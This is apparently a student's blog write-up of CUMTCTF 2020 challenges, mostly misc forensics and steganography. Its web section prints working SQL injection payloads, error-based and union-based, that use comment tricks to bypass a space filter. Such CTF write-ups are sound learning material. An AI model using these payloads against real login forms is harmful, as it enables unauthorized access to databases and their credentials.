• CUMTCTF'2020 未完成 wp


    Web

    babysqli

    burp抓包,发现有 的过滤,用/**/过滤空格。

    1. 报错注入

      payload username=admin&password='/**/or/**/extractvalue(1,concat(1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/x,1)))#,变更x的值,找到表,进而找列,然后查字段最终找到flag

      这里可以发现flag后面半段没有显示,改 passwordmid(password,20,30)即可回显后半部分。

    2. 联合注入

      最麻烦的地方是 order被过滤掉了,需要手动一个一个尝试有几列

      payload username=admin&password='/**/union/**/select/**/1,2,3,(select/**/password/**/from/**/users/**/limit/**/7,1),5,6,7,8#一直尝试到8发现回显了4,再把4位置改为select...即可

    剩下的4道web题,我是真的做不下去了,题解和视频都看不懂,感觉已经到了一个瓶颈,接下来的一个月尝试学一下开发。

    Misc

    能看到我吗

    要注意文件名的提示

    题目得到一张number.jpg文件,扔进010却发现头为pk,改后缀为zip得到压缩包文件。

    !!!重点来了!!!

    得到了number.zip压缩包后呢,我下意识还是看了看是不是伪加密,前不久做了好几道伪加密的题,但010查看发现却是真加密,改的话文件会损坏,于是我花了很久很久时间捣鼓密码是啥,把大写小写数字组合全都试了(只试了7位数,组合的话超过7位数爆破时间差不多要几个小时),都还是失败...

    重点就在压缩包的名字number.zip,这不都告诉你密码是纯数字了吗???看到题解我要哭出来了...

    得到密码后又得到一张图片,扔进010也没啥信息,丢到kali binwalk看一下。

    发现有两张图片,foremost拿出来,发现是两张一模一样的图片..之前在攻防世界有做过盲水印的题,用脚本得到最终flag

    别做题了听歌吧

    这题真的就到最后一步 我要吐血了..

    拿到《anheqiao》音频文件,二话不说放进audacity里,半天啥也没看出来,联系到提示:别问,问就是cumt,猜测是音频隐写,加密密码为cumt

    打开txt文本发现有大小但是是空的,看来又是隐写,用010打开发现一堆0909 2020 0D0A的玩意,然后我感觉这个有点像摩斯编码,于是写脚本去试了试

    然后去在线摩斯编码转换网站试试:

    单纯的我只是觉得这是一串没有任何规律的乱码,然后又去试了试排列组合,但都能没出现类似CUMTCTF这样明显的flag,...看到题解我才发现,原来这一串乱码加上CUMTCTF{}就是flag..(乱码的后面 AND8MP3ST390!!已经有提示了)

    兔兔那么可爱

    下载得到一个flag文件和一张很多兔子的图片,提示:图片内没有任何与flag相关的信息,很多数学家都喜欢兔兔

    ,把flag文件扔进010。

    可以发现我们想要的flag前缀 CUMTCTF 对应位置:

    0 1 2 4 7 12 除了第一个和第二后 ,后面每一个都是前两个相加+1,破案了!!就是喜欢兔子的数学家斐波那契,python脚本

    string='' 
    with open('flag', 'r') as f: 
        string = f.read() 
    a=0 
    b=0
    for i in range(0,26): 
        c=a+b+1
        a=b 
        b=c 
        print(string[a],end="")
    

    为什么是26次呢,这个可以通过len(string)得到长度然后慢慢试的。

    大鲨鱼之你可使劲找

    这题感谢魔龙学长的指点

    下载得到流量包,在wireshark里面看一下,搜索flag发现是二分法盲注爆数据库,追踪tcp流,把数据全部复制在txt里粘贴出来一个一个分析,因为有很多流(我之前只分析了一个..),可以根据CUMTCTF第一个字符C的ascii值67去判断数据在哪一个流里。

    这里>66是正确的,又是最后一个,所以第一个字符ASCII为67即为C,把数据所有76前的保存下来转码。

    b=[67,85,77,84,67,84,70,123,99,101,99,99,49,51,57,52,45,54,49,51,51,45,52,51,100,48,45,98,101,48,54,45,97,52,49,99,53,102,50,51,49,100,100,52,125,32]
    for i in range (len(b)):
         print(chr(b[i]),end='')
    

    这从上千条数据里找到这40多条,真的麻了..

    残缺的大鲨鱼

    这道题真的考验耐性和细致。

    下载得到流量包,在wireshark里面看一下,搜索发现flag.zip文件,跟踪tcp,把原始数据复制转移到010里,把50 4B前的http信息全部删了,保存为zip文件。

    压缩得到flag文件,扔进010

    在尾部发现 D8 FF,FF D8是图片文件的文件头,猜测是flag是反过来的图片文件,python还原。

    string=''
    with open('flag','rb') as f:
        string=f.read()
        with open('flag.jpg','wb') as w:
            w.write(string[::-1])
    

    好吧又是一张图片,扔进010里看一下..

    观察可以发现,图片内藏有bbxxss.txt文件,但用kali foremost并没能分离出来,应该是缺少了文件头,搜索压缩包文件头后面有 03 04 14 00 ,在前面补上50 4B保存,即可保存为zip文件解压(或者foremost分离出来),得到bbxxss.txt。

    在卢学长的指点下,利用emoji解码即可。

    时光机

    明天补上吧 需要git知识..

    补!

    哈哈这几天捣鼓了一些虚拟机,装了一个manjaro,不得不说!真香~

    好了因为git装在虚拟机里,把文件拖入manjaro,git看一下

    没什么头绪,但提示说是git版本回退, git log查看版本

    git reset --hard -xx 换一个版本试试

    emm 一堆奇奇怪怪的文件,加上一张名叫我的压缩包呢的图,看来还得换

    不换不知道 居然发现了一个password文件..盲猜一波这是压缩包的密码

    最后还是找到了压缩包,输入密码拿到flag~

  • 相关阅读:
    Java equals和==的理解
    String StringBuffer StringBuilder 之间的区别
    HTTP 协议的基本知识,包括请求流程、请求方法等
    原生 XMLHttpRequest
    Java WebSocket实现简易聊天室
    Java Timer和TimerTask
    培训日报3.14(mysql,guava,穿山甲等)
    android手机卫士、3D指南针、动画精选、仿bilibli客户端、身份证银行卡识别等源码
    洛谷 P3177 [HAOI2015]树上染色
    洛谷 P2680 运输计划(NOIP2015提高组)(BZOJ4326)
  • 原文地址:https://www.cnblogs.com/yuuuuu422/p/13768889.html
Copyright © 2020-2023  润新知